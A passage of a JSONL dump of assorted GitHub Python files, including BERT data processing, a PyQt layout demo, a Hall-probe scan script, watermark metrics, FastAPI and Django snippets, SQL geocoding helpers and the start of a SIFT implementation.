book_id).scalar()\n session.close()\n return chapter\n\n\n @classmethod\n def add(cls, session, title, book_id, category_id, serial_num, chapter_path, crawl_url):\n chapter = Chapter(title=title, book_id=book_id, category_id=category_id, chapter_path=chapter_path, serial_num=serial_num,\n crawl_url=crawl_url)\n session.add(chapter)\n session.commit()\n\n return chapter\n\n @classmethod\n def get_newest_chapter_by_book(cls, book_id):\n session = db_session()\n query = session.query(Chapter).filter(Chapter.book_id == book_id)\n chapter = query.order_by('-serial_num').first()\n return chapter\n\n#\n# class Content(BaseModel):\n#\n# __tablename__ = 'content'\n#\n# id = Column(Integer, primary_key=True, autoincrement=True)\n# content = Column(Text)\n# create_time = Column(DateTime, default=func.now())\n# update_time = Column(DateTime, default=datetime.now())\n#\n# @classmethod\n# def add(cls, content):\n# session = db_session()\n# content = Content(content=content)\n# session.add(content)\n# session.commit()\n# return content\n\n#\n# def init_db():\n# engine = create_engine(DB_CONNECT_STRING, echo=True)\n# BaseModel.metadata.create_all(engine)\n#\n# init_db()","repo_name":"zhenchaozhu/book_spider","sub_path":"book_spider/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5705,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"33529864534","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport csv\nimport os\n\nfrom absl import logging\nimport tensorflow as tf\n\nfrom data import bert_tokenization as tokenization\n\n\nclass InputExample(object):\n\n def __init__(self, guid, text_a, text_b=None, val=None):\n \"\"\"Constructs a InputExample.\n\n Args:\n guid: Unique id for the example.\n text_a: string. The untokenized text of the first sequence. For single\n sequence tasks, only this sequence must be specified.\n text_b: (Optional) string. The untokenized text of the second sequence.\n Only must be specified for sequence pair tasks.\n val: (Optional) float. The value of the example. This should be\n specified for train and dev examples, but not for test examples.\n \"\"\"\n self.guid = guid\n self.text_a = text_a\n self.text_b = text_b\n self.val = val\n\n\nclass InputFeatures(object):\n \"\"\"A single set of features of data.\"\"\"\n\n def __init__(self,\n input_ids,\n input_mask,\n segment_ids,\n val,\n is_real_example=True):\n self.input_ids = input_ids\n self.input_mask = input_mask\n self.segment_ids = segment_ids\n self.val = val\n self.is_real_example = is_real_example\n\n\nclass DataProcessor(object):\n \"\"\"Base class for data converters for sequence classification data sets.\"\"\"\n\n def get_set_types(self):\n raise NotImplementedError()\n\n def get_set_path(self, set_type):\n raise NotImplementedError()\n\n def get_examples(self, input_file, set_type):\n \"\"\"Gets a collection of `InputExample`s for the train set.\"\"\"\n raise NotImplementedError()\n\n @classmethod\n def _read_tsv(cls, input_file, quotechar=None):\n \"\"\"Reads a tab separated value file.\"\"\"\n with tf.io.gfile.GFile(input_file, \"r\") as f:\n reader = csv.reader(f, delimiter=\"\\t\", quotechar=quotechar)\n lines = []\n for line in reader:\n lines.append(line)\n return lines\n\n\nclass StsProcessor(DataProcessor):\n \"\"\"Processor for the STS-B data set.\"\"\"\n\n def get_set_types(self):\n return ['train', 'dev', 'test']\n\n def get_set_path(self, data_dir, set_type):\n return os.path.join(data_dir, '{}.tsv'.format(set_type))\n\n def get_examples(self, data_dir, set_type):\n set_path = self.get_set_path(data_dir, set_type)\n if not os.path.exists(set_path) or not os.path.isfile(set_path):\n return\n return self._create_examples(self._read_tsv(set_path), set_type)\n\n def _create_examples(self, lines, set_type):\n \"\"\"Creates examples for the training and dev sets.\"\"\"\n examples = []\n for (i, line) in enumerate(lines):\n guid = \"%s-%s\" % (set_type, tokenization.convert_to_unicode(line[0]))\n text_a = tokenization.convert_to_unicode(line[-3])\n text_b = tokenization.convert_to_unicode(line[-2])\n val = float(line[-1])\n examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, val=val))\n return examples\n\n\ndef convert_single_example(ex_index, example, max_seq_length, tokenizer):\n \"\"\"Converts a single `InputExample` into a single `InputFeatures`.\"\"\"\n tokens_a = tokenizer.tokenize(example.text_a)\n tokens_b = None\n if example.text_b:\n tokens_b = tokenizer.tokenize(example.text_b)\n\n if tokens_b:\n # Modifies `tokens_a` and `tokens_b` in place so that the total\n # length is less than the specified length.\n # Account for [CLS], [SEP], [SEP] with \"- 3\"\n _truncate_seq_pair(tokens_a, tokens_b, max_seq_length - 3)\n else:\n # Account for [CLS] and [SEP] with \"- 2\"\n if len(tokens_a) > max_seq_length - 2:\n tokens_a = tokens_a[0:(max_seq_length - 2)]\n\n # The convention in BERT is:\n # (a) For sequence pairs:\n # tokens: [CLS] is this jack ##son ##ville ? [SEP] no it is not . [SEP]\n # type_ids: 0 0 0 0 0 0 0 0 1 1 1 1 1 1\n # (b) For single sequences:\n # tokens: [CLS] the dog is hairy . [SEP]\n # type_ids: 0 0 0 0 0 0 0\n #\n # Where \"type_ids\" are used to indicate whether this is the first\n # sequence or the second sequence. The embedding vectors for `type=0` and\n # `type=1` were learned during pre-training and are added to the wordpiece\n # embedding vector (and position vector). This is not *strictly* necessary\n # since the [SEP] token unambiguously separates the sequences, but it makes\n # it easier for the model to learn the concept of sequences.\n #\n # For classification tasks, the first vector (corresponding to [CLS]) is\n # used as the \"sentence vector\". Note that this only makes sense because\n # the entire model is fine-tuned.\n tokens = []\n segment_ids = []\n tokens.append(\"[CLS]\")\n segment_ids.append(0)\n for token in tokens_a:\n tokens.append(token)\n segment_ids.append(0)\n tokens.append(\"[SEP]\")\n segment_ids.append(0)\n\n if tokens_b:\n for token in tokens_b:\n tokens.append(token)\n segment_ids.append(1)\n tokens.append(\"[SEP]\")\n segment_ids.append(1)\n\n input_ids = tokenizer.convert_tokens_to_ids(tokens)\n\n # The mask has 1 for real tokens and 0 for padding tokens. Only real\n # tokens are attended to.\n input_mask = [1] * len(input_ids)\n\n # Zero-pad up to the sequence length.\n while len(input_ids) < max_seq_length:\n input_ids.append(0)\n input_mask.append(0)\n segment_ids.append(0)\n\n assert len(input_ids) == max_seq_length\n assert len(input_mask) == max_seq_length\n assert len(segment_ids) == max_seq_length\n\n if ex_index < 5:\n logging.info(\"*** Example ***\")\n logging.info(\"guid: %s\", (example.guid))\n logging.info(\"tokens: %s\",\n \" \".join([tokenization.printable_text(x) for x in tokens]))\n logging.info(\"input_ids: %s\", \" \".join([str(x) for x in input_ids]))\n logging.info(\"input_mask: %s\", \" \".join([str(x) for x in input_mask]))\n logging.info(\"segment_ids: %s\", \" \".join([str(x) for x in segment_ids]))\n logging.info(\"vals: %s\", example.val)\n\n feature = InputFeatures(\n input_ids=input_ids,\n input_mask=input_mask,\n segment_ids=segment_ids,\n val=example.val,\n is_real_example=True)\n return feature\n\n\ndef file_based_convert_examples_to_features(examples, max_seq_length, tokenizer, output_file):\n \"\"\"Convert a set of `InputExample`s to a TFRecord file.\"\"\"\n\n writer = tf.io.TFRecordWriter(output_file)\n\n for (ex_index, example) in enumerate(examples):\n if ex_index % 10000 == 0:\n logging.info(\"Writing example %d of %d\", ex_index, len(examples))\n\n feature = convert_single_example(ex_index, example, max_seq_length, tokenizer)\n\n def create_int_feature(values):\n f = tf.train.Feature(int64_list=tf.train.Int64List(value=list(values)))\n return f\n\n def create_float_feature(values):\n f = tf.train.Feature(float_list=tf.train.FloatList(value=list(values)))\n return f\n\n features = collections.OrderedDict()\n features[\"input_ids\"] = create_int_feature(feature.input_ids)\n features[\"input_mask\"] = create_int_feature(feature.input_mask)\n features[\"segment_ids\"] = create_int_feature(feature.segment_ids)\n features[\"vals\"] = create_float_feature([feature.val])\n features[\"is_real_example\"] = create_int_feature(\n [int(feature.is_real_example)])\n\n tf_example = tf.train.Example(features=tf.train.Features(feature=features))\n writer.write(tf_example.SerializeToString())\n writer.close()\n\n\ndef _truncate_seq_pair(tokens_a, tokens_b, max_length):\n \"\"\"Truncates a sequence pair in place to the maximum length.\"\"\"\n\n # This is a simple heuristic which will always truncate the longer sequence\n # one token at a time. This makes more sense than truncating an equal percent\n # of tokens from each, since if one sequence is very short then each token\n # that's truncated likely contains more information than a longer sequence.\n while True:\n total_length = len(tokens_a) + len(tokens_b)\n if total_length <= max_length:\n break\n if len(tokens_a) > len(tokens_b):\n tokens_a.pop()\n else:\n tokens_b.pop()\n","repo_name":"mainliufeng/models","sub_path":"data/bert_regression_data_lib.py","file_name":"bert_regression_data_lib.py","file_ext":"py","file_size_in_byte":8042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2269218440","text":"import pickle as pkl\nfrom pathlib import Path\nfrom typing import Iterable\n\nimport click\nfrom datasets.load import load_dataset\nfrom tqdm import tqdm\n\nfrom ..config import TrainingConfig\nfrom .preprocessor import BERTPreprocessor\n\n\ndef generate_batches(data, batch_size: int) -> Iterable[dict]:\n batches_num = len(data) // batch_size\n if len(data) % batch_size:\n batches_num += 1\n\n for i in tqdm(range(batches_num), total=batches_num, smoothing=0):\n yield data[i * batch_size : (i + 1) * batch_size]\n\n\ndef save_data(data: list, path: str) -> None:\n with open(path, \"wb\") as f:\n pkl.dump(data, f, protocol=pkl.HIGHEST_PROTOCOL)\n\n\ndef process_data(data: list, preprocessor: BERTPreprocessor, batch_size: int) -> list:\n processed_data = []\n for batch in generate_batches(data, batch_size):\n processed_data.extend(preprocessor.preprocess(batch))\n\n return processed_data\n\n\n@click.command()\n@click.option(\n \"--segment-size\",\n type=int,\n default=TrainingConfig.segment_size,\n help=\"The size of the segments\",\n)\n@click.option(\n \"--segment-overlap\",\n type=int,\n default=TrainingConfig.segment_overlap,\n help=\"The overlap of the segments\",\n)\n@click.option(\n \"--processing-batch-size\",\n type=int,\n default=TrainingConfig.processing_batch_size,\n help=\"The processing batch size\",\n)\n@click.option(\n \"--tokenization-batch-size\",\n type=int,\n default=TrainingConfig.tokenization_batch_size,\n help=\"The tokenization batch size\",\n)\n@click.option(\n \"--device\",\n type=str,\n default=\"cuda\",\n help=\"The device to use\",\n)\n@click.option(\n \"--dataset\",\n type=click.Choice([\"train\", \"validation\", \"test\"]),\n default=\"train\",\n help=\"The dataset to process\",\n)\n@click.option(\n \"--output-file\",\n type=str,\n help=\"The output file\",\n)\ndef main(\n segment_size: int,\n segment_overlap: int,\n processing_batch_size: int,\n tokenization_batch_size: int,\n device: str,\n dataset: str,\n output_file: str,\n) -> None:\n print(f\"Preprocessing with parameters {locals()}\")\n data = load_dataset(\"ccdv/arxiv-classification\")\n\n raw_dataset = data[dataset] # type: ignore\n\n preprocessor = BERTPreprocessor(\n segment_size=segment_size,\n segment_overlap=segment_overlap,\n batch_size=processing_batch_size,\n device=device,\n )\n\n print(f\"Preprocessing {dataset} data...\")\n processed_dataset = process_data(raw_dataset, preprocessor, tokenization_batch_size)\n\n print(\"Saving data...\")\n Path(output_file).parent.mkdir(parents=True, exist_ok=True)\n save_data(processed_dataset, output_file)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Greenpp/article-classification-pwr-2022","sub_path":"article_classification_pwr_2022/preprocessing/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"115698658","text":"from urllib.parse import urlencode\nfrom urllib.request import Request, urlopen\n\nurl = 'http://192.168.0.52:8000/outbox/' + str(10)\ndata = {'chat_found' : '50', 'processed' : '50'}\n\nrequest = Request(url, urlencode(data).encode(),method='PUT')\n#urlopen(request)\njson = urlopen(request).read().decode()\nprint(json)","repo_name":"tebajanga/seltest","sub_path":"update2.py","file_name":"update2.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30159528496","text":"\"\"\"\n# Ex 4.02 - Lay-out schematic design (box lay-out)\nhttp://codetorial.net/pyqt5/layout/box_layout.html\n\"\"\"\n# 4.01 - 절대적 배치\n# 4.02 - 박스 레이아웃 *\n# 4.03 - 그리드 레이아웃\n\nprint(__doc__)\n\nimport sys\nimport _add_syspath_root\nfrom PyQt5.QtWidgets import (\n QApplication,\n QWidget,\n QPushButton,\n QHBoxLayout,\n QVBoxLayout,\n )\n\n\ndef main():\n app = QApplication(sys.argv)\n window = MyApp()\n sys.exit(app.exec_())\n\n\nclass MyApp(QWidget):\n def __init__(self):\n super().__init__()\n self.title = 'Ex4.02-BOX LAY-OUT'\n self.posXY = (300, 300)\n self.windowSize = (400, 200)\n\n self.MarginRate_H = (1, 1)\n self.MarginRate_V = (8, 1)\n\n self.initUI()\n\n def show_basic(self):\n self.setWindowTitle(self.title)\n self.setGeometry(*self.posXY, *self.windowSize)\n self.show()\n\n def initUI(self):\n buttonOK = QPushButton('OK')\n buttonCancel = QPushButton('CANCEL')\n\n hBox = QHBoxLayout()\n hBox.addStretch(3)\n hBox.addWidget(buttonOK)\n hBox.addWidget(buttonCancel)\n hBox.addStretch(1)\n\n vBox = QVBoxLayout()\n vBox.addStretch(self.MarginRate_V[0])\n vBox.addLayout(hBox)\n vBox.addStretch(self.MarginRate_V[1])\n\n self.setLayout(vBox)\n self.show_basic()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"onitonitonito/k_mooc_reboot","sub_path":"module_PyQt/tech_lecture_codetorial/ex3_4/ex402_layout_VHbox.py","file_name":"ex402_layout_VHbox.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11031487250","text":"import sys\nimport os\nimport numpy as np\nimport motor_controller\nimport hp_line_scan\nfrom adlink_card import EncoderException\nfrom datetime import datetime\nimport argparse\nfrom typing import List\nfrom collections import OrderedDict\n\n\ndef scan_range(arg) -> List:\n l = [x if i == 0 else float(x) for i, x in enumerate(arg.replace('=', ',').split(','))]\n if len(l) not in (2, 3, 4) or l[0].lower() not in ('x', 'y', 'z', 's'):\n raise argparse.ArgumentTypeError(f\"Can't interpret range specifier {arg}\")\n return l\n\n\n# Parse the input arguments\nparser = argparse.ArgumentParser(description='Perform a 2D Hall probe scan.',\n epilog='Multiple scan ranges can be specified. The first one is the primary axis and will preferentially use an on-the-fly scan.')\nparser.add_argument('scan', help=\"scan axis and range in the format X|Y|Z,start[,stop[,step]]\", type=scan_range,\n action='append', nargs='+')\nparser.add_argument('-f', '--file', help=\"filename to save data - print data to console if not specified\")\nparser.add_argument('-c', '--comment', help=\"comment for the output file\")\nparser.add_argument('-m', '--magnet', help='name of magnet to be scanned')\nparser.add_argument('-i', '--current', help=\"current in the magnet [Amps]\", type=float)\n\nargs = parser.parse_args()\nscans = args.scan[0]\n\n# Ensure we are doing at least one scan!\n# TODO: in the future, allow this\nif all([len(scan) < 3 for scan in scans]):\n raise ValueError('No scans specified - only fixed positions.')\n\n# Ensure first argument is a scan, not a fixed position\nfor i, scan in enumerate(scans):\n if len(scan) > 2:\n scans.insert(0, scans.pop(i))\n break\n\nmc = motor_controller.MotorController()\nline_scan = hp_line_scan.LineScan(*scans[0], mc=mc)\n# Are the other axes specified? If not, add them as a 'scan' in a single position\nscan_dirs = {scan[0] for scan in scans}\ndirs = {'x', 'y', 'z'}\nunlisted_dirs = dirs - scan_dirs\nfor direction in unlisted_dirs:\n scans.append([direction, mc.axis[direction].get_position()])\n\n# Using the ZEPTO dipole with a 'stroke' axis?\nif 's' in scan_dirs:\n dipole_ctrl = motor_controller.ZeptoDipoleController()\n mc.axis['s'] = dipole_ctrl.axis # this is perhaps a little hacky, but should work\n\n# Convert each remaining scan specification into a tuple of ('axis_name', array([val1, val2, ...]) )\nscans = [(scan[0], hp_line_scan.arange(*scan[1:])) for scan in scans[1:]]\n\n# Concatenate arrays together, so that \"x=1,2,3 y=1 x=5,6,7\" -> \"x=1,2,3,5,6,7 y=1\"\nscan_dict = OrderedDict()\nfor axis_name, scan_array in scans:\n scan_dict[axis_name] = np.concatenate([scan_dict[axis_name], scan_array]) if axis_name in scan_dict.keys() else scan_array\n\n# Metadata for the file\nmagnet = args.magnet\ncurrent = args.current\ncomment = args.comment\n\n# magnet = 'PITZ Compensation Solenoid'\n# current = 30\n# comment = 'YZ scan at X centre +10mm'\n\n# Where to save the file(s)?\n# path = r'\\\\fed.cclrc.ac.uk\\Org\\NLab\\ASTeC\\Apsv4\\Astec\\IDs and Magnets\\Data\\PITZ solenoids\\Compensation solenoid 15050'\n# basename = '17 yz scan (x centre +10mm)'\n\n# Set up the scan\nhp = line_scan.hp\nfield_units = 'T'\nhp.setUnits(field_units)\nhp.setRange(3.0) # TODO: add to options\n\n# Produce a header for the file(s)\nheader = [('Date/time', datetime.now().strftime('%d/%m/%y %H:%M:%S')),\n ('Magnet under test', magnet) if magnet else (),\n ('Magnet current [A]', current) if current else (),\n ('Probe', f'{hp.probe.manufacturer_name} {hp.probe.model_name} S/N {hp.probe.serial_number}'),\n ('Averages', hp.getAverages()),\n ('Probe range', hp.getRange()[1]),\n ('Comment', comment) if comment else (),\n ]\n\ncolumns = ''\nfor axis_name, scan_array in scan_dict.items():\n if len(scan_array) == 1:\n header.append((f'{axis_name} position [mm]', scan_array[0]))\n else:\n columns += f'{axis_name} [mm],'\ncolumns += f'{line_scan.axis_name} [mm]'\n\n# Write header and columns to CSV file\nout_file = open(args.file, 'a') if args.file else sys.stdout\n[print(*l, sep=',', file=out_file) for l in header if l]\nprint(f'{columns},Bx [{field_units}],By [{field_units}],Bz [{field_units}]', file=out_file)\n\n# we should have two or three axes to scan over (e.g. X, Y, and stroke, with a LineScan in Z)\nassert len(scan_dict) in (2, 3)\nscan_index = 0\nstart = datetime.now()\neta = None\n\naxis2 = list(scan_dict)[0]\nax2_values = scan_dict[axis2]\naxis3 = list(scan_dict)[1]\nax3_values = scan_dict[axis3]\nif len(scan_dict) >= 3:\n axis4 = list(scan_dict)[2]\n ax4_values = scan_dict[axis4]\nelse:\n axis4 = None\n ax4_values = [0]\n\nn_line_scans = len(ax2_values) * len(ax3_values) * len(ax4_values)\n\nfor k, s in enumerate(ax4_values):\n if axis4 is not None:\n print(f'{axis4} = {s} mm')\n mc.axis[axis4].move(s, wait=True)\n\n for j, z in enumerate(ax3_values):\n print(f'{axis3} = {z} mm')\n mc.axis[axis3].move(z, wait=True)\n\n # Run the scan, invoking line_scan for each position along axis 2\n for i, y in enumerate(ax2_values):\n if i > 0:\n progress = i / n_line_scans\n elapsed = datetime.now() - start\n eta = start + elapsed / progress\n print(f'{axis2} = {y} mm' + (eta.strftime(', ETA %H:%M') if eta else ''))\n mc.axis[axis2].move(y, wait=True)\n tries = 0\n ok = False\n while not ok:\n try:\n line_scan.run()\n ok = True\n except (hp_line_scan.MissedTriggerError, EncoderException) as e: # sometimes we get a little hiccup\n line_scan.axis.stop()\n tries += 1\n print(e)\n if tries % 5 == 0 and input(f'Scan failed after {tries} tries. Try again? [Y/n]').upper() not in ('', 'Y'):\n raise # break out\n # line_scan.field_values = np.random.rand(len(line_scan.pos_values), 3) - 0.5 # for testing!\n\n # Record the data in the file(s)\n pos_vector = [z] if len(ax3_values) > 1 else []\n if len(ax2_values) > 1:\n pos_vector.append([y])\n for column, (x, field) in enumerate(zip(line_scan.pos_values, line_scan.field_values)):\n print(','.join([f'{p:.5f}' for p in np.concatenate([[y, x], field])]), file=out_file, flush=True)\n\n # Save as we go along in case of unforeseen errors\n out_file.flush()\n\nout_file.close()\n","repo_name":"benshep/magnet-lab","sub_path":"map_xy.py","file_name":"map_xy.py","file_ext":"py","file_size_in_byte":6545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6979467550","text":"from typing import List\n\nimport numpy as np\n\nfrom dvw.io.watermark import WatermarkBatchReader, WatermarkType, WatermarkBitReader\nfrom dvw.metrics.base import BaseMetric, MetricValue, Comparator\n\n\ndef _ber(\n watermark_reader1: WatermarkBitReader,\n watermark_reader2: WatermarkBitReader,\n precision: int,\n) -> MetricValue:\n errors = 0\n total = 0\n\n while watermark_reader1.available() and watermark_reader2.available():\n bit1 = watermark_reader1.read_bit()\n bit2 = watermark_reader2.read_bit()\n errors += bit1 != bit2\n total += 1\n\n ber_ = 100 * ((errors / total) if total else 1)\n ber_ = round(ber_, precision)\n values = [(\"Total\", total), (\"Errors\", errors), (\"BER\", ber_)]\n return MetricValue(WatermarkMetric.BER, values)\n\n\ndef _normalized_correlation(\n watermark_reader1: WatermarkBatchReader,\n watermark_reader2: WatermarkBatchReader,\n precision: int,\n) -> MetricValue:\n a = list(watermark_reader1.read_all())\n b = list(watermark_reader2.read_all())\n\n a = (a - np.mean(a)) / (np.std(a) * len(a))\n b = (b - np.mean(b)) / (np.std(b))\n\n nc = round(np.correlate(a, b)[0], precision)\n return MetricValue(WatermarkMetric.NC, nc)\n\n\nclass WatermarkMetric(BaseMetric):\n BER = (\"ber\", \"Bit error rate\", _ber, \"%\")\n NC = (\"nc\", \"Normalized correlation\", _normalized_correlation)\n\n\nclass WatermarkComparator(Comparator):\n def __init__(self, precision: int, *metrics: WatermarkMetric) -> None:\n super().__init__(precision)\n self.metrics = metrics or list(WatermarkMetric)\n\n def compare(\n self, path1: str, path2: str, watermark_type: WatermarkType, **kwargs\n ) -> List[MetricValue]:\n return [\n self._calculate_metric(path1, path2, watermark_type, m, **kwargs)\n for m in self.metrics\n ]\n\n def _calculate_metric(\n self,\n path1: str,\n path2: str,\n watermark_type: WatermarkType,\n metric: WatermarkMetric,\n **kwargs\n ) -> MetricValue:\n with watermark_type.reader(\n path1, **kwargs\n ) as watermark_reader1, watermark_type.reader(\n path2, **kwargs\n ) as watermark_reader2:\n return metric.calculate(\n watermark_reader1, watermark_reader2, self.precision\n )\n","repo_name":"restnek/dvw","sub_path":"dvw/metrics/watermark.py","file_name":"watermark.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71565920535","text":"\"\"\"\nTest cases for ayaselibs.py\n\"\"\"\n\nfrom django.test import TestCase\n\nfrom . import ayaselibs as libs\nfrom .models.site import Site\nfrom .models.category import Category\n\n\nclass UtilityFunctionTest(TestCase):\n \"\"\"\n Test utility functions in ayaselib.py\n \"\"\"\n def test_get_common_context(self):\n \"\"\"\n get_common_context should return a dict containing all info required\n to render base template.\n \"\"\"\n site_info = Site(name='test', tagline='Hello world')\n col_1 = Category(name='col_1', url='col-1')\n col_2 = Category(name='col_2', url='col-2')\n site_info.save()\n Category.save(col_1, col_2)\n self.assertEqual(libs.get_common_context(), {\n 'site': Site.get_site_info(),\n 'categories': [i.get_info()\n for i in Category.data_api.get_all_categories()]\n })\n\n def test_get_common_context_with_title(self):\n \"\"\"\n get_common_context is expected to return a containing all info required\n to render base template. If page_title karg is passed, the dict should\n contain a key-value pair ('page_title', page_title).\n \"\"\"\n site_info = Site(name='test', tagline='Hello world')\n col_1 = Category(name='col_1', url='col-1')\n col_2 = Category(name='col_2', url='col-2')\n site_info.save()\n Category.save(col_1, col_2)\n self.assertEqual(libs.get_common_context('hello world'), {\n 'site': Site.get_site_info(),\n 'categories': [i.get_info()\n for i in Category.data_api.get_all_categories()],\n 'page_title': 'hello world'\n })\n","repo_name":"Ayase-252/ayase-blog","sub_path":"test_ayaselibs.py","file_name":"test_ayaselibs.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"19983618881","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\nfrom typing import Optional, List\n\nimport uvicorn\nfrom fastapi import FastAPI, Query\nfrom pydantic import BaseModel\n\napp = FastAPI()\n\n\nclass Item(BaseModel):\n name: str\n description: Optional[str] = None\n price: float\n tax: Optional[float] = None\n\n\n@app.post('/items/q')\ndef create_item(item: Item, q: Optional[str] = Query(..., max_length=3)):\n if q:\n print(q)\n return item\n\n\n@app.get('/items/')\ndef read_item(q: Optional[List[str]] = Query(None, deprecated=True)):\n query_item = {'q': q}\n return query_item\n\n\ndef run():\n uvicorn.run(app='main:app', reload=True, debug=True)\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"lindo-zy/fastapi-study","sub_path":"chapter3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2769924206","text":"from psycopg2.extensions import AsIs\n\nfrom django.db import connection\n\nfrom common.utils import dictfetchall\n\nNEARBY_THRESHOLD = 10 # how many street numbers away is 'close enough'\n\n\n# TODO: need to implement elastic search\n\ndef geocode_try_nearby(address_number, street_name):\n\n if not address_number or not street_name:\n return\n\n query = \"\"\"\n SELECT lat, lng\n FROM geo_locationposition\n WHERE\n street_name = %s\n AND abs(address_number - %s) < %s\n ORDER BY\n abs(address_number - %s)\n limit 1\n \"\"\"\n params = [street_name, address_number, NEARBY_THRESHOLD, address_number]\n cursor = connection.cursor()\n cursor.execute(query, params)\n results = dictfetchall(cursor)\n\n if results:\n return {'lat': results[0]['lat'], 'lng': results[0]['lng']}\n\ndef geocode_try_interpolate(address_number, street_name):\n\n if not address_number or not street_name:\n return\n\n modulo = address_number % 2\n\n query = \"\"\"\n SELECT lat, lng, address_number\n FROM geo_locationposition\n WHERE\n street_name = %s\n AND address_number %s %s\n AND address_number %% 2 = %s\n ORDER BY\n address_number %s\n LIMIT 1\n \"\"\"\n params = [street_name]\n cursor = connection.cursor()\n cursor.execute(query, params + [AsIs('>'), address_number, modulo, AsIs('asc')])\n results = dictfetchall(cursor)\n\n if results:\n first_higher = results[0]\n else:\n first_higher = None\n\n cursor = connection.cursor()\n cursor.execute(query, params + [AsIs('<'), address_number, modulo, AsIs('desc')])\n results = dictfetchall(cursor)\n\n if results:\n first_lower = results[0]\n else:\n first_lower = None\n\n if first_higher and first_lower:\n intersect = float(address_number - first_lower['address_number']) / (first_higher['address_number'] - first_lower['address_number'])\n\n interp_lat = (first_higher['lat'] - first_lower['lat']) * intersect + first_lower['lat']\n interp_lng = (first_higher['lng'] - first_lower['lng']) * intersect + first_lower['lng']\n\n return {'lat': interp_lat, 'lng': interp_lng}\n\ndef geocode_try_exact(address_number, street_name):\n\n query = \"\"\"\n SELECT lat, lng\n FROM geo_locationposition\n WHERE\n street_name = %s\n AND address_number = %s\n \"\"\"\n params = [street_name, address_number]\n cursor = connection.cursor()\n cursor.execute(query, params)\n\n results = dictfetchall(cursor)\n if results:\n return {'lat': results[0]['lat'], 'lng': results[0]['lng']}\n\ndef geocode(address_number, street_name, try_interpolate=True, try_nearby=True):\n results = geocode_try_exact(address_number, street_name)\n\n if not results and try_interpolate:\n results = geocode_try_interpolate(address_number, street_name)\n\n if not results and try_nearby:\n results = geocode_try_nearby(address_number, street_name)\n\n return results \n","repo_name":"codeforamerica/vallejo-css-toolkit","sub_path":"geo/utils/geocode.py","file_name":"geocode.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"28623804726","text":"def batches(size, features, labels):\n\t\"\"\" Cria mini-lotes de atributos e rótulos\n\n\tParâmetros\n\t----------\n\tsize: Tamanho do mini-lote\n\tfeatures: Lista de atributos\n\tlabels: Lista de rótulos\n\n\tRetorna\n\t-------\n\tbatches: Mini-lotes de (features, labels)\n\t\"\"\"\n\t# Garante que features e labels são compatíveis\n\tassert len(features) == len(labels)\n\n\t# Cria lista vazia para armazenar mini-lotes\n\tbatches = []\n\n\t# Preenche a lista com mini-lotes\n\tfor i in range(0, len(features), size):\n\t\tbatch = [features[i:i + size], labels[i:i + size]]\n\t\tbatches.append(batch)\n\n\t# Retorna lista de mini-lotes\n\treturn batches","repo_name":"vilacham/tensorflow_introduction","sub_path":"mini_batches.py","file_name":"mini_batches.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6378758267","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef sift(img_path, sigma=1.6, num_intervals=3, assumed_blur=0.5, image_border_width=5):\n img = cv2.imread(img_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n img = cv2.resize(img, (0, 0), fx=2, fy=2, interpolation=cv2.INTER_LINEAR)\n\n sigma_diff = np.sqrt(max((sigma ** 2) - ((2 * assumed_blur) ** 2), 0.01))\n base_img = cv2.GaussianBlur(img, (0, 0), sigmaX=sigma_diff, sigmaY=sigma_diff)\n \n num_octaves = int(round(np.log(np.min(base_img.shape)) / np.log(2) - 1))\n num_images_per_octave = num_intervals + 3\n\n x = 2 ** (1 / num_intervals)\n gaussian_kernels = np.zeros(num_images_per_octave)\n gaussian_kernels[0] = sigma\n\n for i in range(1, num_images_per_octave):\n sigma_prev = (x ** (i - 1)) * sigma\n sigma_total = x * sigma_prev\n gaussian_kernels[i] = np.sqrt(sigma_total ** 2 - sigma_prev ** 2)\n\n gaussian_images = []\n\n octave_base_img = base_img\n for i in range(num_octaves):\n gaussian_images_in_octave = [octave_base_img]\n for kernel in gaussian_kernels[1:]:\n octave_img = cv2.GaussianBlur(octave_base_img, (0, 0), sigmaX=kernel, sigmaY=kernel)\n gaussian_images_in_octave.append(octave_img)\n gaussian_images.append(gaussian_images_in_octave)\n octave_base_img = gaussian_images_in_octave[-3]\n x, y = octave_base_img.shape\n octave_base_img = cv2.resize(octave_base_img, (y // 2, x // 2), interpolation=cv2.INTER_NEAREST)\n\n dog_images = []\n for gaussian_images_in_octave in gaussian_images:\n dog_images_in_octave = []\n for first_image, second_image in zip(gaussian_images_in_octave, gaussian_images_in_octave[1:]):\n dog_images_in_octave.append(second_image - first_image)\n dog_images.append(dog_images_in_octave)\n\n def 